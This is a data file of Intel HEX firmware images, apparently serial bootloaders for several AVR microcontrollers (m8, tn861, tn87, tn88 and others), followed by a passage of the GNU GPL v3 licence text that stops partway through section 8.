data ":101EA00005918CD03A95D9F7089559D02EF0F6DFE8"
data ":101EB000E03CD9F7FD31C9F7089557D046D02EF050"
data ":101EC00005D0FD31D9F7EF3BC9F7089564D00990EB"
data ":101ED000199001E007BFE89532963250C1F7E054FF"
data ":101EE000F04005E007BFE89507B700FDFDCFE05CD7"
data ":101EF000FF4F0895033689F2033449F20636A9F2FA"
data ":101F00000634D9F2053659F0053409F097CF1DD0C3"
data ":101F100096F041D0099110D03A95E1F7F8CF1FD053"
data ":101F200056F030E4EEBBFFBBE09A0DB347D03196DC"
data ":101F30003A95C1F7F4CF08950DBBEEBBFFBBE29A13"
data ":101F4000E19AE199FECF3196089507D02EF023D083"
data ":101F500029D009933A95E1F708950FE32FD022D0C5"
data ":101F6000E894013209F06894089519D0E054F040E3"
data ":101F700008D0E1F70895F9DF0FEFDEDFF430E9F77D"
data ":101F80000ED003E007BFE89507B700FDFDCF01E1E4"
data ":101F900007BFE8950895C0E6D0E030E40895E0EC8E"
data ":101FA000FDE10895C09AB099FECF18E01CD016D07C"
data ":101FB0000695B09900681A95D1F710C00FD00CD0D3"
data ":101FC00018E000FD05D000FF07D006951A95C9F767"
data ":101FD000B99AB898C19A02C0B99AC198D3015297D8"
data ":101FE0000000E8F70895D301B695A795F8CF5453AC"
data ":0E1FF000427F1CF01E930720E00EFF01AAAAFC"
data ":00000001FF"
data "m8"
data ":020000020000FC"
data ":101E0000F8940FE50DBF04E00EBF04B703FD16C044"
data ":101E1000B99AB898C09AC19A1196F1F7B09B0EC0C2"
data ":101E2000BED032962591283008F428E00A95F1F7C3"
data ":101E3000B09B06C01A95D1F72A95C1F7A5D0E0C08E"
data ":101E4000AA27BB2705E0B09BFECFB099FECF119625"
data ":101E5000B09BFDCF0A95C9F73D01C0D025912F3F1A"
data ":101E600059F0A0D02017D1F30030F9F776D01EF04A"
data ":101E700074D00EF080D0E2CFEEEEFFE130E10FD073"
data ":101E8000EE27FF2701E29AD08DD034D0F9CF5DD074"
data ":101E90000EF4089584D075D019D081D030E474D078"
data ":101EA00005918CD03A95D9F7089559D02EF0F6DFE8"
data ":101EB000E03CD9F7FD31C9F7089557D046D02EF050"
data ":101EC00005D0FD31D9F7EF3BC9F7089564D00990EB"
data ":101ED000199001E007BFE89532963250C1F7E054FF"
data ":101EE000F04005E007BFE89507B700FDFDCFE05CD7"
data ":101EF000FF4F0895033689F2033449F20636A9F2FA"
data ":101F00000634D9F2053659F0053409F097CF1DD0C3"
data ":101F100096F041D0099110D03A95E1F7F8CF1FD053"
data ":101F200056F030E4EEBBFFBBE09A0DB347D03196DC"
data ":101F30003A95C1F7F4CF08950DBBEEBBFFBBE29A13"
data ":101F4000E19AE199FECF3196089507D02EF023D083"
data ":101F500029D009933A95E1F708950FE32FD022D0C5"
data ":101F6000E894013209F06894089519D0E054F040E3"
data ":101F700008D0E1F70895F9DF0FEFDEDFF430E9F77D"
data ":101F80000ED003E007BFE89507B700FDFDCF01E1E4"
data ":101F900007BFE8950895C0E6D0E030E40895E0EC8E"
data ":101FA000FDE10895C09AB099FECF18E01CD016D07C"
data ":101FB0000695B09900681A95D1F710C00FD00CD0D3"
data ":101FC00018E000FD05D000FF07D006951A95C9F767"
data ":101FD000B99AB898C19A02C0B99AC198D3015297D8"
data ":101FE0000000E8F70895D301B695A795F8CF5453AC"
data ":0E1FF000427F1CF01E930720E00EFF01AAAAFC"
data ":00000001FF"
data "m8hva"
data ":020000020000FC"
data ":020000003DC001"
data ":10007C0007C00000F8940FEF0DBF02E00EBF13C0D5"
data ":10008C00F894F0E0EEE76591559147E030E8059182"
data ":10009C00501B60403A95D9F74A95C1F75030F1F7AB"
data ":1000AC006030E1F7E7CFEE27FF2703E007BFE895C5"
data ":1000BC00E0E8FFE148E303E007BFE895E058F040D3"
data ":1000CC004A95C9F700E014E0480100E81FE1580127"
data ":1000DC0046E0C0E0D1E06E0130E8F40105910993EF"
data ":1000EC003A95E1F7E050F1404F01E60130E8F501B7"
data ":1000FC000990199001E007BFE89532963250C1F78C"
data ":10010C00E058F04005E007BFE89507B700FDFDCFCC"
data ":10011C00E60130E805911991011709F0FFCF3A95E6"
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data ":1002B000EEBBFFBBE29AE19AE199FECF3196089539"
data ":1002C0004BD046D0059109933A95E1F745D040C00F"
data ":1002D00007D02EF03DD043D009933A95E1F7089529"
data ":1002E0000FE349D03CD0E894013209F068940895B6"
data ":1002F0002BD02ED00990199001E007BFE8953296D7"
data ":100300003250C1F7E054F04005E007BFE89507B769"
data ":1003100000FDFDCF1DD005911991011729F026F0A0"
data ":1003200001E229D004D0FFCF3A95A9F70895E0E87B"
data ":10033000FDE1E054F04008D0E1F70895F8DF0FEF59"
data ":10034000B6DFF430E9F708D003E007BFE895089579"
data ":10035000C0E6D0E030E40895E0ECFFE10895C09AF3"
data ":10036000B099FECF18E01CD016D00695B099006861"
data ":100370001A95D1F710C00FD00CD018E000FD05D0B1"
data ":1003800000FF07D006951A95C9F7B99AB898C19A8F"
data ":1003900002C0B99AC198D30152970000E8F70895B6"
data ":0803A000D301B695A795F8CF33"
data ":1003B0007473627F1CF01E930B20C00EFF010000BF"
data ":00000001FF"
data "tn861a"
data ":020000020000FC"
data ":020000001DC021"
data ":10003C0007C00000F8940FE50DBF02E00EBF13C01F"
data ":10004C00F894F0E0EEE3659155914EE030E40591C3"
data ":10005C00501B60403A95D9F74A95C1F75030F1F7EB"
data ":10006C006030E1F7E7CFEE27FF2703E007BFE89505"
data ":10007C00E0ECFFE141E703E007BFE895E054F04016"
data ":10008C004A95C9F700EC13E0480100EC1FE1580158"
data ":10009C004AE0C0E6D0E06E0130E4F401059109932A"
data ":1000AC003A95E1F7E058F0404F01E60130E4F501F4"
data ":1000BC000990199001E007BFE89532963250C1F7CC"
data ":1000CC00E054F04005E007BFE89507B700FDFDCF11"
data ":1000DC00E60130E405911991011709F0FFCF3A952B"
data ":1000EC00C9F7E058F0405F014A9599F607E91FE01F"
data ":0600FC000F931F9308950D"
data ":10018000F8940FE50DBF02E00EBF04B703FD18C1E0"
data ":10019000B99AB898C09AC19A1196F1F7B09B10C15C"
data ":1001A000DBD032962591283008F428E00A95F1F743"
data ":1001B000B09B05C01A95D1F72A95C1F701C1AA27AE"
data ":1001C000BB2705E0B09BFECFB099FECF1196B09B48"
data ":1001D000FDCF0A95C9F73D0125912F3F59F0BFD0BA"
data ":1001E0002017D1F30030F9F77BD01EF079D00EF054"
data ":1001F000A5D0E6C0E0EBFFE130E10FD0EE27FF270E"
data ":1002000001E2B9D0ACD031D0F9CF62D00EF408956C"
data ":10021000A3D068946DD0A0D030E40591ACD03A95CD"
data ":10022000E1F708955FD036F030E4F6DFE038D1F73B"
data ":10023000FD31C1F708957BD04BD00EF4089588D0DE"
data ":1002400008811981005E1F4F28010FEB1EEC088307"
data ":1002500019834FD03DD02EF04CD0FD31D9F7EF3778"
data ":10026000C9F72ED04882598243C00336A1F2033425"
data ":1002700061F20636B9F20634F1F2053619F00534AA"
data ":1002800069F09EC02FD096F030E4EEBBFFBBE09A41"
data ":100290000DB371D031963A95C1F7F4CF19D036F03D"
data ":1002A00057D0099104D03A95E1F7F8CF08950DBBE6"
data ":1002B000EEBBFFBBE29AE19AE199FECF3196089539"
data ":1002C0004BD046D0059109933A95E1F745D040C00F"
data ":1002D00007D02EF03DD043D009933A95E1F7089529"
data ":1002E0000FE349D03CD0E894013209F068940895B6"
data ":1002F0002BD02ED00990199001E007BFE8953296D7"
data ":100300003250C1F7E054F04005E007BFE89507B769"
data ":1003100000FDFDCF1DD005911991011729F026F0A0"
data ":1003200001E229D004D0FFCF3A95A9F70895E0E87B"
data ":10033000FDE1E054F04008D0E1F70895F8DF0FEF59"
data ":10034000B6DFF430E9F708D003E007BFE895089579"
data ":10035000C0E6D0E030E40895E0ECFFE10895C09AF3"
data ":10036000B099FECF18E01CD016D00695B099006861"
data ":100370001A95D1F710C00FD00CD018E000FD05D0B1"
data ":1003800000FF07D006951A95C9F7B99AB898C19A8F"
data ":1003900002C0B99AC198D30152970000E8F70895B6"
data ":0803A000D301B695A795F8CF33"
data ":1003B0007473627F1CF01E930D20C00EFF010000BD"
data ":00000001FF"
data "tn861"
data ":020000020000FC"
data ":020000001DC021"
data ":10003C0007C00000F8940FE50DBF02E00EBF13C01F"
data ":10004C00F894F0E0EEE3659155914EE030E40591C3"
data ":10005C00501B60403A95D9F74A95C1F75030F1F7EB"
data ":10006C006030E1F7E7CFEE27FF2703E007BFE89505"
data ":10007C00E0ECFFE141E703E007BFE895E054F04016"
data ":10008C004A95C9F700EC13E0480100EC1FE1580158"
data ":10009C004AE0C0E6D0E06E0130E4F401059109932A"
data ":1000AC003A95E1F7E058F0404F01E60130E4F501F4"
data ":1000BC000990199001E007BFE89532963250C1F7CC"
data ":1000CC00E054F04005E007BFE89507B700FDFDCF11"
data ":1000DC00E60130E405911991011709F0FFCF3A952B"
data ":1000EC00C9F7E058F0405F014A9599F607E91FE01F"
data ":0600FC000F931F9308950D"
data ":10018000F8940FE50DBF02E00EBF04B703FD18C1E0"
data ":10019000B99AB898C09AC19A1196F1F7B09B10C15C"
data ":1001A000DBD032962591283008F428E00A95F1F743"
data ":1001B000B09B05C01A95D1F72A95C1F701C1AA27AE"
data ":1001C000BB2705E0B09BFECFB099FECF1196B09B48"
data ":1001D000FDCF0A95C9F73D0125912F3F59F0BFD0BA"
data ":1001E0002017D1F30030F9F77BD01EF079D00EF054"
data ":1001F000A5D0E6C0E0EBFFE130E10FD0EE27FF270E"
data ":1002000001E2B9D0ACD031D0F9CF62D00EF408956C"
data ":10021000A3D068946DD0A0D030E40591ACD03A95CD"
data ":10022000E1F708955FD036F030E4F6DFE038D1F73B"
data ":10023000FD31C1F708957BD04BD00EF4089588D0DE"
data ":1002400008811981005E1F4F28010FEB1EEC088307"
data ":1002500019834FD03DD02EF04CD0FD31D9F7EF3778"
data ":10026000C9F72ED04882598243C00336A1F2033425"
data ":1002700061F20636B9F20634F1F2053619F00534AA"
data ":1002800069F09EC02FD096F030E4EEBBFFBBE09A41"
data ":100290000DB371D031963A95C1F7F4CF19D036F03D"
data ":1002A00057D0099104D03A95E1F7F8CF08950DBBE6"
data ":1002B000EEBBFFBBE29AE19AE199FECF3196089539"
data ":1002C0004BD046D0059109933A95E1F745D040C00F"
data ":1002D00007D02EF03DD043D009933A95E1F7089529"
data ":1002E0000FE349D03CD0E894013209F068940895B6"
data ":1002F0002BD02ED00990199001E007BFE8953296D7"
data ":100300003250C1F7E054F04005E007BFE89507B769"
data ":1003100000FDFDCF1DD005911991011729F026F0A0"
data ":1003200001E229D004D0FFCF3A95A9F70895E0E87B"
data ":10033000FDE1E054F04008D0E1F70895F8DF0FEF59"
data ":10034000B6DFF430E9F708D003E007BFE895089579"
data ":10035000C0E6D0E030E40895E0ECFFE10895C09AF3"
data ":10036000B099FECF18E01CD016D00695B099006861"
data ":100370001A95D1F710C00FD00CD018E000FD05D0B1"
data ":1003800000FF07D006951A95C9F7B99AB898C19A8F"
data ":1003900002C0B99AC198D30152970000E8F70895B6"
data ":0803A000D301B695A795F8CF33"
data ":1003B0007473627F1CF01E930D20C00EFF010000BD"
data ":00000001FF"
data "tn87"
data ":020000020000FC"
data ":020000003DC001"
data ":10007C0007C00000F8940FEF0DBF02E00EBF13C0D5"
data ":10008C00F894F0E0EEE76591559147E030E8059182"
data ":10009C00501B60403A95D9F74A95C1F75030F1F7AB"
data ":1000AC006030E1F7E7CFEE27FF2703E007BFE895C5"
data ":1000BC00E0E8FFE148E303E007BFE895E058F040D3"
data ":1000CC004A95C9F700E014E0480100E81FE1580127"
data ":1000DC0046E0C0E0D1E06E0130E8F40105910993EF"
data ":1000EC003A95E1F7E050F1404F01E60130E8F501B7"
data ":1000FC000990199001E007BFE89532963250C1F78C"
data ":10010C00E058F04005E007BFE89507B700FDFDCFCC"
data ":10011C00E60130E805911991011709F0FFCF3A95E6"
data ":10012C00C9F7E050F1405F014A9599F607E51FE0E9"
data ":06013C000F931F930895CC"
data ":10018000F8940FEF0DBF02E00EBF04B703FD38C1B6"
data ":10019000219A2098289A299A1196F1F7189B30C134"
data ":1001A000DBD032962591283008F428E00A95F1F743"
data ":1001B000189B05C01A95D1F72A95C1F721C1AA2726"
data ":1001C000BB2705E0189BFECF1899FECF1196189B10"
data ":1001D000FDCF0A95C9F73D0125912F3F59F0BFD0BA"
data ":1001E0002017D1F30030F9F77BD01EF079D00EF054"
data ":1001F000A5D006C1E0E7FFE130E10FD0EE27FF27F1"
data ":1002000001E2B9D0ACD031D0F9CF62D00EF408956C"
data ":10021000A3D068946DD0A0D030E80591ACD03A95C9"
data ":10022000E1F708955FD036F030E8F6DFE030D1F73F"
data ":10023000FD31C1F708957BD04BD00EF4089588D0DE"
data ":1002400008811981005C1F4F28010FE71EEC08830D"
data ":1002500019834FD03DD02EF04CD0FC31D9F7EF3F71"
data ":10026000C9F72ED04882598243C00336A1F2033425"
data ":1002700061F20636B9F20634F1F2053619F00534AA"
data ":1002800069F0BEC02FD096F030E8E1BDF2BDF89A1B"
data ":1002900000B571D031963A95C1F7F4CF19D036F048"
data ":1002A00057D0099104D03A95E1F7F8CF089500BDF1"
data ":1002B000E1BDF2BDFA9AF99AF999FECF3196089507"
data ":1002C0004BD046D0059109933A95E1F745D040C00F"
data ":1002D00007D02EF03DD043D009933A95E1F7089529"
data ":1002E0000FE349D03CD0E894013209F068940895B6"
data ":1002F0002BD02ED00990199001E007BFE8953296D7"
data ":100300003250C1F7E058F04005E007BFE89507B765"
data ":1003100000FDFDCF1DD005911991011729F026F0A0"
data ":1003200001E229D004D0FFCF3A95A9F70895E0E083"
data ":10033000FDE1E058F04008D0E1F70895F8DF0FEF55"
data ":10034000B6DFF430E9F708D003E007BFE895089579"
data ":10035000C0E0D1E030E80895E0E8FFE10895289A90"
data ":100360001899FECF18E01CD016D006951899006891"
data ":100370001A95D1F710C00FD00CD018E000FD05D0B1"
data ":1003800000FF07D006951A95C9F7219A2098299A57"
data ":1003900002C0219A2998D30152970000E8F70895E6"
data ":0803A000D301B695A795F8CF33"
data ":1003F0007473627F1CF01E938740800EFF01000023"
data ":00000001FF"
data "tn88"
data ":020000020000FC"
data ":020000001DC021"
data ":10003C0007C00000F8940FEF0DBF02E00EBF13C015"
data ":10004C00F894F0E0EEE3659155914EE030E40591C3"
data ":10005C00501B60403A95D9F74A95C1F75030F1F7EB"
data ":10006C006030E1F7E7CFEE27FF2703E007BFE89505"
data ":10007C00E0ECFFE141E703E007BFE895E054F04016"
data ":10008C004A95C9F700EC13E0480100EC1FE1580158"
data ":10009C004AE0C0E0D1E06E0130E4F401059109932F"
data ":1000AC003A95E1F7E058F0404F01E60130E4F501F4"
data ":1000BC000990199001E007BFE89532963250C1F7CC"
data ":1000CC00E054F04005E007BFE89507B700FDFDCF11"
data ":1000DC00E60130E405911991011709F0FFCF3A952B"
data ":1000EC00C9F7E058F0405F014A9599F605E91FE021"
data ":0600FC000F931F9308950D"
data ":10018000F8940FEF0DBF02E00EBF04B703FD18C1D6"
data ":10019000219A2098289A299A1196F1F7189B10C154"
data ":1001A000D9D032962591283008F428E00A95F1F745"
data ":1001B000189B05C01A95D1F72A95C1F701C1AA2746"
data ":1001C000BB2705E0189BFECF1899FECF1196189B10"
data ":1001D000FDCF0A95C9F73D0125912F3F59F0BDD0BC"
data ":1001E0002017D1F30030F9F779D01EF077D00EF058"
data ":1001F000A3D0E6C0E0EBFFE130E10FD0EE27FF2710"
data ":1002000001E2B7D0AAD031D0F9CF60D00EF4089572"
data ":10021000A1D068946BD09ED030E40591AAD03A95D5"
data ":10022000E1F708955DD036F030E4F6DFE038D1F73D"
data ":10023000FD31C1F7089579D049D00EF4089586D0E4"
data ":1002400008811981005E1F4F28010FEB1EEC088307"
data ":1002500019834DD03BD02EF04AD0FD31D9F7EF377E"
data ":10026000C9F72CD04882598241C00336A1F2033429"
data ":1002700061F20636B9F20634F1F2053619F00534AA"
data ":1002800061F09EC02DD08EF030E4E1BDF89A00B54B"
data ":1002900070D031963A95C9F7F5CF18D036F056D0D0"
data ":1002A000099104D03A95E1F7F8CF089500BDE1BD7A"
data ":1002B000FA9AF99AF999FECF319608954BD046D023"
data ":1002C000059109933A95E1F745D040C007D02EF04B"
data ":1002D0003DD043D009933A95E1F708950FE349D013"
data ":1002E0003CD0E894013209F0689408952BD02ED0C8"
data ":1002F0000990199001E007BFE89532963250C1F796"
data ":10030000E054F04005E007BFE89507B700FDFDCFDA"
data ":100310001DD005911991011729F026F001E229D08D"
data ":1003200004D0FFCF3A95A9F70895E0E8FDE1E05445"
data ":10033000F04008D0E1F70895F8DF0FEFB7DFF230B3"
data ":10034000E9F708D003E007BFE8950895C0E0D1E0E1"
data ":1003500030E40895E0ECFFE10895289A1899FECF63"
data ":1003600018E01CD016D00695189900681A95D1F798"
data ":1003700010C00FD00CD018E000FD05D000FF07D052"
data ":1003800006951A95C9F7219A2098299A02C0219AB0"
data ":100390002998D30152970000E8F70895D301B69544"
data ":0403A000A795F8CF56"
data ":1003B0007473627F1CF01E931120C00E3F0000007A"
data ":00000001FF"
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                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
